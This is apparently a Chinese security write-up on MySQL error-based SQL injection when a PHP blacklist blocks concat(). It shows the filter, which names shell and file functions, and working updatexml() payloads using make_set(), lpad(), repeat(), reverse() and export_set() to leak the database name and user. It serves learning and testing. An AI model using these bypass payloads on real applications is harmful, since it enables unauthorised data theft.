当concat()在报错注入不可用时
0x01
这里有这么一段代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//cpnfig.php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
很明显,这里是一个黑名单过滤,将绝大多数的注入关键词过滤掉了,sqlmap无解下,报错注入时,发现concat(),会被过滤掉。
报错注入有两种:
extractvalue(1,’what we want’)
updatexml(1,’what we want’,1)
具体用法参考:MySQL updatexml()、extractvalue() 报错型SQL注入
当cnoncat不可用时,我们该怎么办?
使用函数make_set()、lpad()、reverse()、repeat()、export_set(),来代替concat()的作用。
注意:lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据
详解make_set()函数的用法
MAKE_SET(bits,str1,str2,…)
返回一个设定值 (一个包含被’,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。
str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。
1 | mysql> SELECT MAKE_SET(1,'a','b','c'); |
讲回extract(),updatexml()函数
extractvalue(),updatexml()函数有个特点就是:updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容
如以下结果:
所以结合make_set()函数,我们在concat()不可用的情况下,可以这么做1
2
3mysql> select updatexml(1,make_set(3,'~',(select database())),1);
ERROR 1105 (HY000): XPATH syntax error: '~,day1'
然后使用其他类似函数也是一样的效果,不过就是记得加上特殊字符,防止数据遗漏,其实我觉得以防万一还是都加上特殊符号吧1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
小结:很小的知识点,但是学到很多.